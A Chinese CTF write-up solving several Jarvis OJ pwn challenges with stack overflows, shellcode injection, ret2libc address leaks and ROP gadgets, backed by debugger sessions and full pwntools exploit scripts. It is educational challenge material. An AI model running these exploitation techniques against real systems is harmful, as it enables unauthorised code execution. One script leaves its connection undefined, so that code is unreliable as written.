此篇记录关于Jarvis OJ Pwn所有题目的writeup
[XMAN]level0
进行chack
[*] '/home/ios/Desktop/pwn0'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
main函数里跳转到了vulnerable_function()
跟进
可以看到read可读的大小为0x200 512字节
buf大小为0x80字节
查看函数窗口 找到callsystem() 查看代码发现已经写好了shell
屡一下流程 main函数跳转到了vulnerable_function()然后 read一个大小不超过512的字节 然后返回函数
思路很清晰了 我们需要将vulnerable_function()函数的返回地址覆盖为callsystem()函数的地址即可成功getshell
buf 0x80
ebp 0x8
淹没bp 0x80+0x8
callsystem_addr = 0x400596
编写exp
from pwn import *
p = process('./pwn0')
callsystem_addr = 0x400596
payload = 'A'*0x88 +p64(callsystem_addr)
p.sendline(payload)
p.interactive()
运行结果
ios@ubuntu:~/Desktop$ python pwn0.py
[+] Starting local process './pwn0': pid 3517
[*] Switching to interactive mode
Hello, World
$ ls
core peda-session-pwn50.txt pwn0.py pwn50.py
peda-session-pwn0.txt pwn0 pwn50
$
成功getshell
Tell Me Something
先进行check
ios@ubuntu:~/Desktop$ checksec ./guestbook
[*] '/home/ios/Desktop/guestbook'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
没开任何保护 64位ELF
IDA分析程序
可以看到程序 只是进行了 write read
int good_game()
{
FILE *v0; // rbx
int result; // eax
char buf; // [rsp+Fh] [rbp-9h]
v0 = fopen("flag.txt", "r");
while ( 1 )
{
result = fgetc(v0);
buf = result;
if ( (_BYTE)result == -1 )
break;
write(1, &buf, 1uLL);
}
return result;
}
找到关键函数 good_game
思路很简单 简单栈溢出并且覆盖ret为good_game地址即可
good_game 地址:
通过IDA即可找到 0x400620
GDB调试找到溢出偏移
加载程序 并尝试运行程序
gdb-peda$ file guestbook
Reading symbols from guestbook...(no debugging symbols found)...done.
gdb-peda$ pattern create 300
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%'
gdb-peda$ r
Starting program: /home/ios/Desktop/guestbook AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Input your message:
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%
I have received your message, Thank you!
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x29 (')')
RBX: 0x0
RCX: 0x7ffff7b042c0 (<__write_nocancel+7>: cmp rax,0xfffffffffffff001)
RDX: 0x29 (')')
RSI: 0x400738 ("I have received your message, Thank you!\n")
RDI: 0x1
RBP: 0x400690 (<__libc_csu_init>: push r15)
RSP: 0x7fffffffde28 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G")
RIP: 0x400525 (<main+69>: ret)
R8 : 0x400700 (<__libc_csu_fini>: repz ret)
R9 : 0x7ffff7de7ab0 (<_dl_fini>: push rbp)
R10: 0x37b
R11: 0x246
R12: 0x400526 (<_start>: xor ebp,ebp)
R13: 0x7fffffffdf00 --> 0x2
R14: 0x0
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x400514 <main+52>: mov edi,0x1
0x400519 <main+57>: call 0x400480 <write@plt>
0x40051e <main+62>: add rsp,0x88
=> 0x400525 <main+69>: ret
0x400526 <_start>: xor ebp,ebp
0x400528 <_start+2>: mov r9,rdx
0x40052b <_start+5>: pop rsi
0x40052c <_start+6>: mov rdx,rsp
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde28 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G")
0008| 0x7fffffffde30 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G")
0016| 0x7fffffffde38 ("ApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G")
0024| 0x7fffffffde40 ("AAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G")
0032| 0x7fffffffde48 ("VAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G")
0040| 0x7fffffffde50 ("AuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G")
0048| 0x7fffffffde58 ("AAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G")
0056| 0x7fffffffde60 ("ZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000400525 in main ()
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>
发现错误停止在了 main函数 的ret处
接下来计算缓冲区的大小
由于程序使用的内存地址不能大于0x00007fffffffffff,PC指针并没有指向类似于0x41414141那样地址,但是ret指令等于pop rip,可以通过查看栈顶指针的值确定下一步程序运行的地址。
gdb-peda$ x/gx $rsp
0x7fffffffde28: 0x41416d4141514141
gdb-peda$ pattern offset 0x41416d4141514141
4702159612987654465 found at offset: 136
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>
在GDB里,x是查看内存的指令,随后的gx代表数值用64位16进制显示。随后我们就可以用pattern.py来计算溢出点。
得到偏移为136 所以我们就可以构造exp了
EXP
from pwn import *
#p = process('./guestbook')
p = remote('pwn.jarvisoj.com',9876)
payload = 'A'*136 + p64(0x400620)
p.recvuntil('Input your message:\n')
p.sendline(payload)
print p.recv()
print p.recv()
运行测试一下
成功拿到flag
level1
ios@ubuntu:~$ checksec level1
[*] '/home/ios/level1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
ios@ubuntu:~$
啥都没开2333
载入IDA分析
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]
printf("What's this:%p?\n", &buf);
return read(0, &buf, 0x100u);
}
发现 read 直接读了buf 存在漏洞
利用思路 覆盖溢出buf 写入shellcode 起shell
生成shellcode方法
from pwn import*
context(log_level = 'debug', arch = 'i386', os = 'linux')
shellcode=asm(shellcraft.sh())
或者使用已经生成好的shellcode
shellcode = "\x31\xc0\x31\xdb\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\x51\x52\x55\x89\xe5\x0f\x34\x31\xc0\x31\xdb\xfe\xc0\x51\x52\x55\x89\xe5\x0f\x34"
最终利用exp
from pwn import *
p = process('./level1')
shellcode = "\x31\xc0\x31\xdb\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\x51\x52\x55\x89\xe5\x0f\x34\x31\xc0\x31\xdb\xfe\xc0\x51\x52\x55\x89\xe5\x0f\x34"
ret = p.recvuntil('?',drop=True)
ret = int(ret[12:],16)
print hex(ret)
payload = shellcode + 'a'*(0x88-len(shellcode)) +'bbbb'+p32(ret)
p.sendline(payload)
p.interactive()
成功拿到shell
level2_x86
检查保护
ios@ubuntu:~$ checksec level2x86
[*] '/home/ios/level2x86'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
载入IDA分析程序
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
system("echo 'Hello World!'");
return 0;
}
main函数主要调用system函数输出 然后调用vulnerable_function()函数 我们跟进看一下
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]
system("echo Input:");
return read(0, &buf, 0x100u); //存在漏洞
}
read()函数这里限制了读入buf的长度0x100
但是 我们这里利用并不会受到影响
shift+F12尝试搜索程序是否自带shell
因为程序需要调用system函数 所以可以找到system.plt地址
方法一
查看IDA中函数调用窗口找到system.plt_addr
找到地址0x8048320
方法二
利用pwntools获取
from pwn import *
p = process('./level2x86')
elf=ELF('./level2x86')
#system =0x8048320
system = elf.symbols['system']
print hex(system)
即可获取
exp编写
char buf; // [esp+0h] [ebp-88h]
计算偏移 ret到buf的距离为 ebp+0x4-(ebp-88h)
gdb-peda$ p/d 0x4+0x88
$1 = 140
gdb-peda$
所以偏移为140
思路:我们溢出覆盖到ret为system地址应为压栈顺序所以先伪造system(‘bin/sh’)的返回地址(任意地址)接着传入bin/sh_addr
from pwn import *
#p = process('./level2x86')
elf=ELF('./level2x86')
#system =0x8048320
system = elf.symbols['system']
print hex(system)
sh =0x804A024
payload = 'a'*140+p32(system)+p32(0x1553155)+p32(sh)
p.sendline(payload)
p.interactive()
尝试远程获取shell
level2_x64
看题目都可以知道只是编译为64位elf
和上到题目思路类似
检查下程序保护
ios@ubuntu:~$ checksec level2_x64
[*] '/home/ios/level2_x64'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
只开启NX
载入IDA分析程序
因为和之前分析流程类似 所以直接看关键代码
ssize_t vulnerable_function()
{
char buf; // [rsp+0h] [rbp-80h]
system("echo Input:");
return read(0, &buf, 0x200uLL);
}
漏洞存在于read函数
这里虽然限制了read读入的长度 但是不会影响我们构造payload 因为理论上read函数是可以无限度
这里要注意x64下rbp到ret的偏移为0x8字节
还需要注意
从第一个到第六个依次保存在rdi,rsi,rdx,rcx,r8,r9。从第7个参数开始,接下来的所有参数都将通过栈传递
变址和指针寄存器RSI和RDI
传参是有顺序的
所以这里 就是bin/sh 参数需要放在rdi里
利用思路
计算偏移
0x80+0x8 //距离rsp 0x80 因为64位所以rsp与ret偏移为0x8
利用ROPgadget获取pop rdi
ios@ubuntu:~$ ROPgadget --binary level2_x64 |grep rdi
0x00000000004006b3 : pop rdi ; ret
覆盖ret地址为gadget
pop rdi ; ret 即为将栈顶参数弹出并存入寄存器rdi,ret返回栈
接着在传入system函数调用即可
exp
from pwn import *
#p = process('./level2_x64')
p = remote('pwn2.jarvisoj.com',9882)
sh = 0x600A90
pop_rdi=0x4006b3
sys= 0x4004C0
pop_rsi=0x4006b1
payload = 'A'*0x80+'B'*0x8+p64(pop_rdi)+p64(sh)+p64(sys)
p.sendline(payload)
p.interactive()
尝试运行 成功获得flag
level3
检查保护
ios@ubuntu:~$ checksec level3
[*] '/home/ios/level3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
载入ida分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
write(1, "Hello, World!\n", 0xEu);
return 0;
}
main先调用了vulnerable_function() 接着调用write()输出 hello world
跟进vulnerable_function()看下
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]
write(1, "Input:\n", 7u);
return read(0, &buf, 0x100u);
}
漏洞存在于read()函数
利用思路
由于程序本身没有提供system函数以及/bn/sh
但是提供了libc
所以我们可以通过libc来获取system函数地址和/bin/sh地址
但是由于开启地址随机化 所以我们需要获取system偏移和/bin/sh的偏移来计算真实地址
查看当前使用libc
ios@ubuntu:~$ ldd level3
linux-gate.so.1 => (0xf7fa1000)
libc.so.6 => /lib32/libc.so.6 (0xf7dd1000)
/lib/ld-linux.so.2 (0xf7fa3000)
可以看到当前使用的是libc.so.6
leak addr思路
利用vulnerable_function()函数构造循环来leak出write函数真实地址
write函数需要三个参数 所以可以构造循环
通过溢出buf开始循环 传入的p32(4)就是指输出4字节
context.log_level='debug'
p = process('./level3')
elf = ELF('./level3')
libc=ELF('/lib32/libc.so.6')
write_plt = elf.symbols['write']
write_got = elf.got['write']
fake = 0x804844B //vulnerable_function()
leak = 'A'*0x88+'b'*4+p32(write_plt)+p32(fake)+p32(1)+p32(write_got)+p32(4)
p.recvuntil('Input:\n')
p.sendline(leak)
write = u32(p.recv(4))
print hex(write)
既然获得了write函数的真实地址
我们就可以来计算libc偏移 从而计算出真实system地址
接着再次溢出构造system(‘/bin/sh’)
exp
from pwn import *
#context.log_level='debug'
#p = process('./level3')
p = remote('pwn2.jarvisoj.com',9879)
elf = ELF('./level3')
#libc=ELF('/lib32/libc.so.6')
libc=ELF('libc-2.19.so')
write_plt = elf.symbols['write']
write_got = elf.got['write']
fake = 0x804844B
leak = 'A'*0x88+'b'*4+p32(write_plt)+p32(fake)+p32(1)+p32(write_got)+p32(4)
p.recvuntil('Input:\n')
p.sendline(leak)
write = u32(p.recv(4))
print hex(write)
write_libc = libc.symbols['write']
system = libc.symbols['system']
binsh = next(libc.search('/bin/sh'))
system_addr = system - write_libc + write
binsh_addr = binsh - write_libc + write
payload = 'A'*0x88+'b'*4+p32(system_addr)+p32(0x1553155)+p32(binsh_addr)
p.sendline(payload)
p.interactive()
这里的p32(0x1553155)为返回地址可以任意构造
尝试运行
level3_x64
检查保护
ios@ubuntu:~$ checksec level3_x64
[*] '/home/ios/level3_x64'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
载入IDA分析
因为流程和level3一样只是编译为64位了
所以直接看关键函数
ssize_t vulnerable_function()
{
char buf; // [rsp+0h] [rbp-80h]
write(1, "Input:\n", 7uLL);
return read(0, &buf, 0x200uLL);
}
思路和上一题思路类似 需要leak write 计算system真实地址与bin/sh真实地址
不过程序是64位 需要注意
从第一个到第六个依次保存在rdi,rsi,rdx,rcx,r8,r9。从第7个参数开始,接下来的所有参数都将通过栈传递
而leak时 write函数的三个参数需要传入前三个寄存器
使用ROPgadget寻找gadget
ios@ubuntu:~$ ROPgadget --binary level3_x64 --only "pop|ret"
Gadgets information
============================================================
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret
0x00000000004006b2 : pop r15 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400550 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400499 : ret
Unique gadgets found: 11
找到需要的
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
没找到第三个参数需要的寄存器
尝试些不去限制读入长度写EXP
查看在调用函数之前rdx的值,如果rdx值>=8,那么就不需要处理
偏移计算
0x80+0x8
可以参考level2_x64
所以这里exp可以直接使用level3的exp并对leak处和bin/sh传参处进行修改
exp
from pwn import *
#context.log_level='debug'
#p = process('./level3_x64')
p = remote('pwn2.jarvisoj.com',9883)
elf = ELF('./level3_x64')
#libc=ELF('/lib32/libc.so.6')
libc=ELF('libc-2.19x64.so')
pop_rdi = 0x4006b3
pop_rsi = 0x4006b1
write_plt = elf.symbols['write']
write_got = elf.got['write']
fake = 0x4005E6
leak = 'A'*0x80+'b'*8+p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(write_got)+p64(0x1553155)+p64(write_plt)+p64(fake)
p.recvuntil('Input:\n')
p.sendline(leak)
write = u64(p.recv(8))
print hex(write)
write_libc = libc.symbols['write']
system = libc.symbols['system']
binsh = next(libc.search('/bin/sh'))
system_addr = system - write_libc + write
binsh_addr = binsh - write_libc + write
payload = 'A'*0x80+'b'*8+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)
p.sendline(payload)
p.interactive()
此处p64(1553155)为返回地址可以任意定义
尝试运行
成功拿到flag